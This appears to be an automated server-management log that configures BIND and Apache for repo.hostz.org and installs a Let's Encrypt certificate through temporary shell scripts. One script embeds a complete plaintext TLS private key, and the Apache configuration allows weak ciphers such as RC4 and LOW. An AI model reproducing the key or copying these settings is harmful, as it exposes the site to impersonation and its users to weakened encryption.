MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 6f1cdaf5040cf6c289773893efd4d401
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-28 10:19:08: 

PUT: /tmp/pkp133757

#!/usr/bin/python3
import os, grp, subprocess, time
from pwd import getpwnam

#target cache files
HASH = 'b74ce055b83f6cfebe00ab1c0c5d2af2'
ZONE_NAME = 'hostz.org'
TARGET_FILES = '/var/cache/bind'
LOCAL_FILE = '/etc/bind/named.conf.local'

uid = getpwnam('bind').pw_uid
gid = grp.getgrnam('bind')[2]
try:
	os.chown(TARGET_FILES + '/' + HASH + '.conf', uid, gid)
	os.chown(TARGET_FILES + '/' + HASH + '.txt', uid, gid)
except Exception as ex:
	pass

PAYLOAD = 'include "' + HASH + '.conf"; # ' + ZONE_NAME
#text to insert into local
hash_present = False
with open(LOCAL_FILE) as fp:  
	line = fp.readline()
	while line:
		if HASH in line:
			hash_present = True
			break
		line = fp.readline()

fp.close()

if not hash_present:
	fp = open(LOCAL_FILE, 'a')
	fp.write(PAYLOAD + "\n")
	fp.close()
	# call = old python, 'run' python 3.5+
	subprocess.call(['rndc', 'reconfig'])
else:
	subprocess.call(['rndc', 'freeze', ZONE_NAME ])
	subprocess.call(['rndc', 'reload', ZONE_NAME ])
	subprocess.call(['rndc', 'thaw', ZONE_NAME ])
	time.sleep(3)


2026-04-28 10:19:08: 

chmod 755 /tmp/pkp133757; /tmp/pkp133757; rm /tmp/pkp133757

2026-04-28 10:19:08: 




2026-04-28 10:19:08: 

PUT: /tmp/pkp624512

#!/bin/bash
rndc reload hostz.org 2>&1


2026-04-28 10:19:08: 

chmod 755 /tmp/pkp624512; /tmp/pkp624512; rm /tmp/pkp624512

2026-04-28 10:19:08: 


rndc: 'reload' failed: bad owner name (check-names)


2026-04-28 10:19:16: Establishing a connection
2026-04-28 10:19:17: Establishing a connection
2026-04-28 10:19:19: 

PUT: /tmp/pkp363795

#!/bin/bash
if [ -d "/var/www/hostz_repo/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-04-28 10:19:20: 

chmod 755 /tmp/pkp363795; /tmp/pkp363795; rm /tmp/pkp363795

2026-04-28 10:19:20: 


1


2026-04-28 10:19:21: Establishing a connection
2026-04-28 10:19:23: 

PUT: /tmp/pkp894087

#!/bin/bash
mkdir -p "/var/www/hostz_repo/.well-known/acme-challenge/"
cd "/var/www/hostz_repo/.well-known/acme-challenge/"
cat > CScz-w0vElk8yafUek_HyZ37oTAGBOfnpZVSWfryIKI <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
CScz-w0vElk8yafUek_HyZ37oTAGBOfnpZVSWfryIKI.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 CScz-w0vElk8yafUek_HyZ37oTAGBOfnpZVSWfryIKI


2026-04-28 10:19:24: 

chmod 755 /tmp/pkp894087; /tmp/pkp894087; rm /tmp/pkp894087

2026-04-28 10:19:24: 




2026-04-28 10:19:30: Establishing a connection
2026-04-28 10:19:31: 

PUT: /tmp/pkp200228

#!/bin/bash
mkdir -p "/var/www/hostz_repo/.well-known/acme-challenge/"
cd "/var/www/hostz_repo/.well-known/acme-challenge/"
rm CScz-w0vElk8yafUek_HyZ37oTAGBOfnpZVSWfryIKI


2026-04-28 10:19:32: 

chmod 755 /tmp/pkp200228; /tmp/pkp200228; rm /tmp/pkp200228

2026-04-28 10:19:33: 




2026-04-28 10:19:33: Establishing a connection
2026-04-28 10:19:34: 

PUT: /tmp/pkp124842

#!/bin/bash
temp_file=$(mktemp)
TARGET=39a67d98dbcb59994bb5bd629687cb8e.crt

cat > $temp_file <<'endmsg'
75:30:8f:cc:7f:44:a1:42:84:60:ee:04:e5:02:2a:55

-----BEGIN CERTIFICATE-----
MIIE9zCCA9+gAwIBAgISBR4QBNjcFEdpexwQd3dyc5CKMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwNDI4MDkyMDU5WhcNMjYwNzI3MDkyMDU4WjAZMRcwFQYDVQQD
Ew5yZXBvLmhvc3R6Lm9yZzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
AOElRodN89dHXmJoW2/eJIlAs4SEqR1RO/NSkcbR5yUYw49qfoRM4EreylA/2U/9
XJKVtxNKUvmVI6n2QD+T4mPk6tt+/ZMqEg4ycsChD/e3a72VvmNvlgjJlq3zc0Zt
+J1h8P+UM7E8QoY/nkerd9YPkeCw8XLMVRt5GpaFlyxdXV6NHkVSBe3KIis9qC2R
8OCfuud1vV501mJ8A8SzApZ6j8fSIBKS2AcjaAz0gXtIZ7wvCRfD4dHCeq2kF80D
C07vcfEOvez1vtsn50iBKFj5H9x3PKMsBh4kr7F78q1sNNdyU1ZLNUD8oDtpd0zm
1ln7K54ZxOGGvxqV+ALfP50CAwEAAaOCAh0wggIZMA4GA1UdDwEB/wQEAwIFoDAT
BgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBQyIZxu
WQhADbUuEG54+LOOWWlQYTAfBgNVHSMEGDAWgBQAtSnyLY5vMeibTK14Pvrc6QzR
0jAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly9yMTIuaS5sZW5j
ci5vcmcvMBkGA1UdEQQSMBCCDnJlcG8uaG9zdHoub3JnMBMGA1UdIAQMMAowCAYG
Z4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTIuYy5sZW5jci5vcmcv
MTEuY3JsMIIBDQYKKwYBBAHWeQIEAgSB/gSB+wD5AHYAlE5Dh/rswe+B8xkkJqgY
ZQHH0184AgE/cmd9VTcuGdgAAAGd05neLgAABAMARzBFAiEA/m0WAsAC9TtCPzs0
VvqvV73CatGkc0EFtxcQHIUc7eYCIFtYoNFirRpMncB5JHGevC8PnVzlKnAu9yO3
a9ei4R4NAH8AbP5QGUOoXqkWvFLRM+TcyR7xQRx9JYQg0XOAnhgY6zoAAAGd05nf
5wAIAAAFAAkWtgIEAwBIMEYCIQCU4i+LPb2XQGtu++z/BO91g4bItAlxiBkbiBNz
xsKzNwIhAKy5ShNHYux1IyBFlnv/ZR1FOjRvxs2Ti297jMDC531zMA0GCSqGSIb3
DQEBCwUAA4IBAQChm1/vGBaUfVBNpD5QXPQSIIMT+VYbyuKjqK2buANlkVIm1P8U
7+CWItQkVnRUg1pO1JXp+ki7Q8XG1C8TQRkrlPOehy243xEhx+ZUdRgvfx/ZGgBF
xIOThFv0OJZFmAGYoKq719bvL8JMk0xX5zZGP8/kdQzT0Bapfl6TQVP1nFVEAEPU
48SiNcd61wNdAtUKLWw0MEQN8/7aPi44c6XI4HIutqIUW/FWex69256GI/53RFiN
UCFRvuGNggZAlZQzNRNfnGJdps7bAFK7sz8n7tx2Db+S5opiPjdqoQsuuVaCA9yW
fbmIoPXaxWmNhkAsVFOTlkxrY0PBPcOm/YCz
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQDhJUaHTfPXR15i
aFtv3iSJQLOEhKkdUTvzUpHG0eclGMOPan6ETOBK3spQP9lP/VySlbcTSlL5lSOp
9kA/k+Jj5Orbfv2TKhIOMnLAoQ/3t2u9lb5jb5YIyZat83NGbfidYfD/lDOxPEKG
P55Hq3fWD5HgsPFyzFUbeRqWhZcsXV1ejR5FUgXtyiIrPagtkfDgn7rndb1edNZi
fAPEswKWeo/H0iASktgHI2gM9IF7SGe8LwkXw+HRwnqtpBfNAwtO73HxDr3s9b7b
J+dIgShY+R/cdzyjLAYeJK+xe/KtbDTXclNWSzVA/KA7aXdM5tZZ+yueGcThhr8a
lfgC3z+dAgMBAAECggEAAodIo3xcoK5MgQ5q+HamMmRnn7VdsNaYtcLXoEP7NI9y
osmvYgz699xIqV4OMrfFsl+8DptnEyZ5oA8D6bLfd/+6I3zpnB181mv6ne8xHrcQ
nrBv0u4N4UtiRdHWGZRilmHjMvuXGQZ0OM2+GU/zqJPEL6HNFFz3F7fkdIxLhlQA
s/oH0TjsN9h0Sc29YYCYd7iP+tTeTgbzxIRgKbzDIcIouN0xICfvti9Lefg3kgqx
K85jSmkfAoAXnyRfAH/hs0EVXBTXgr3RJcfJjXqes0erp/fKRPaABbRupYD7gHSW
SDtal1ZN9HffFZPdfrnpObNjqRpdqP5V6u44Zd5sAQKBgQDxCWFKOq97+jXoWThr
FwLfNgGHbz5pfKZ+8/3HUAmptt+q5sUMBRF4bV2Qj0J+d4YVGSNiq8AL31j/TG0r
KYgKGrYq6OMChax1hz1qOUwiqRCNBbwEYGnX7yvNEEvQDHOikwjhPqvqsiPmiPHH
LvEaCiTq6KiDz2ZiSY5P9SZtCQKBgQDvH1nQIKNt27FljohODCHcr9MsuU/51NjZ
AevpokCybnXbetHzlXvasGEXDRs3GTuj2tnglDg2FB2dCZCdCArvauheR2ezM1ih
HriiLyWnzxV3I3IX/7VQ5RMypuHfWJeegQ9rl0+Jl/NQ2GXsbty1fYlB7cfx/UIh
8PteSJE29QKBgGpy2QueNUfMbahKVtc8l2EaibxVTbvqd+FTQf2XBF12TPs95UH0
rw1/RzYDfrs5b/a7XlxCO5NCtRwylXfdZJ4Jw+/ZYAAKJurUqjPSUCRyg8O0B5/r
MHNTxgVPMBwWk671vpMzSVtiBubWDekIeyQj3L/9tgZYPwAjOf1n5+t5AoGACDhu
sP3+QE+WKKSewPgfzeNpghcYzcDod4VeY9jFGp07hgER6KrR6DG6FL3JmrpOV5K1
fMf7qrhEUFq80vkszxBAzsTrprh0Ko3Q0RqH094FoePhDzwmMpK9dzdPeoskIznS
muNHw7YqkjPuRROGmOKo7lBLWGFZfas4KQSboWUCgYA2qrwyJf3v0keqBuJMawRM
zScScklDNl0RhmfhxnA9g3cBL0zVhzaYDghZIlVCuM2gs+ibWjn/ydjfdYnEyFpQ
ZtGcV8CAdH0dY1C6YSwGDlD17c6XXonmZYjyIui+MFxHhX0UJ5PPgMwy/UIVNVnp
bh6jPaB458o0fvn4y5jd5A==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-04-28 10:19:35: 

chmod 755 /tmp/pkp124842; /tmp/pkp124842; rm /tmp/pkp124842

2026-04-28 10:19:35: 


dir=/etc/pki/tls/certs/


2026-04-28 10:19:35: 

PUT: /tmp/pkp780923

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/httpd
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/httpd/conf.d/hostz_repo_org.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-04-28 10:19:36: 

chmod 755 /tmp/pkp780923; /tmp/pkp780923; rm /tmp/pkp780923

2026-04-28 10:19:36: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/httpd/conf.d/hostz_repo_org.conf 1840

<VirtualHost *:80>
    ServerName	repo.hostz.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hostz_repo
    <Directory /var/www/hostz_repo>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
        <Files "index.html">
            FileETag	None
            Header	unset ETag
            Header set Cache-Control	"max-age=0, no-cache, no-store, must-revalidate"
            Header set Pragma	"no-cache"
            Header set Expires	"Wed, 11 Jan 1984 05:00:00 GMT"
        </Files>
        
    </Directory>
    
    CustomLog	/var/log/httpd/hostz/repo_access.log combined
    ErrorLog	/var/log/httpd/hostz/repo_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	repo.hostz.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/pki/tls/certs//39a67d98dbcb59994bb5bd629687cb8e.crt
    DocumentRoot	/var/www/hostz_repo
    <Directory /var/www/hostz_repo>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
        <Files "index.html">
            FileETag	None
            Header	unset ETag
            Header set Cache-Control	"max-age=0, no-cache, no-store, must-revalidate"
            Header set Pragma	"no-cache"
            Header set Expires	"Wed, 11 Jan 1984 05:00:00 GMT"
        </Files>
        
    </Directory>
    
    CustomLog	/var/log/httpd/hostz/repo_secure_access.log combined
    ErrorLog	/var/log/httpd/hostz/repo_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-04-28 10:19:36: 

PUT: /tmp/pkp688235

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/httpd
BASENAME=hostz_repo_org.conf
TARGET=/etc/httpd/conf.d/hostz_repo_org.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	repo.hostz.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hostz_repo
    <Directory /var/www/hostz_repo>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
        <Files "index.html">
            FileETag	None
            Header	unset ETag
            Header set Cache-Control	"max-age=0, no-cache, no-store, must-revalidate"
            Header set Pragma	"no-cache"
            Header set Expires	"Wed, 11 Jan 1984 05:00:00 GMT"
        </Files>
        
    </Directory>
    
    CustomLog	/var/log/httpd/hostz/repo_access.log combined
    ErrorLog	/var/log/httpd/hostz/repo_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	repo.hostz.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/pki/tls/certs//39a67d98dbcb59994bb5bd629687cb8e.crt
    DocumentRoot	/var/www/hostz_repo
    <Directory /var/www/hostz_repo>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
        <Files "index.html">
            FileETag	None
            Header	unset ETag
            Header set Cache-Control	"max-age=0, no-cache, no-store, must-revalidate"
            Header set Pragma	"no-cache"
            Header set Expires	"Wed, 11 Jan 1984 05:00:00 GMT"
        </Files>
        
    </Directory>
    
    CustomLog	/var/log/httpd/hostz/repo_secure_access.log combined
    ErrorLog	/var/log/httpd/hostz/repo_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/httpd/conf.d/hostz_repo_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/httpd/sites-enabled/hostz_repo_org.conf)= /etc/httpd//etc/httpd/conf.d/hostz_repo_org.conf'
	echo 'file(/etc/httpd//etc/httpd/conf.d/hostz_repo_org.conf= 1'
fi


2026-04-28 10:19:37: 

chmod 755 /tmp/pkp688235; /tmp/pkp688235; rm /tmp/pkp688235

2026-04-28 10:19:37: 




2026-04-28 10:19:37: 

PUT: /tmp/pkp662596

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-04-28 10:19:37: 

chmod 755 /tmp/pkp662596; /tmp/pkp662596; rm /tmp/pkp662596

2026-04-28 10:19:38: 


.


2026-04-28 10:19:38: Establishing a connection
2026-04-28 10:19:39: 

PUT: /tmp/pkp332814

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-04-28 10:19:40: 

chmod 755 /tmp/pkp332814; /tmp/pkp332814; rm /tmp/pkp332814

2026-04-28 10:19:40: 


[Tue Apr 28 10:19:40.710755 2026] [so:warn] [pid 1406133:tid 139736711670080] AH01574: module status_module is already loaded, skipping
VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server messier.hostz.org (/etc/httpd/conf.d/hostz_messier.conf:1)
         port 80 namevhost messier.hostz.org (/etc/httpd/conf.d/hostz_messier.conf:1)
         port 80 namevhost repo.hostz.org (/etc/httpd/conf.d/hostz_repo_org.conf:2)
         port 80 namevhost voip.patientapps.net (/etc/httpd/conf.d/patientapps.conf:1)
         port 80 namevhost zoomchat.net (/etc/httpd/conf.d/zoomchat_www_net.conf:2)
         port 80 namevhost zoomchat.online (/etc/httpd/conf.d/zoomchat_www_online.conf:2)
                 alias www.zoomchat.online
*:443                  is a NameVirtualHost
         default server messier.hostz.org (/etc/httpd/conf.d/hostz_messier.conf:26)
         port 443 namevhost messier.hostz.org (/etc/httpd/conf.d/hostz_messier.conf:26)
         port 443 namevhost repo.hostz.org (/etc/httpd/conf.d/hostz_repo_org.conf:29)
         port 443 namevhost messier.pjy.us (/etc/httpd/conf.d/ssl.conf:40)
         port 443 namevhost zoomchat.net (/etc/httpd/conf.d/zoomchat_www_net.conf:31)
         port 443 namevhost zoomchat.online (/etc/httpd/conf.d/zoomchat_www_online.conf:30)
                 alias www.zoomchat.online
ServerRoot: "/etc/httpd"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/etc/httpd/logs/error_log"
Mutex default: dir="/etc/httpd/run/" mechanism=default 
Mutex cache-socache: using_defaults
Mutex authdigest-opaque: using_defaults
Mutex watchdog-callback: using_defaults
Mutex proxy-balancer-shm: using_defaults
Mutex rewrite-map: using_defaults
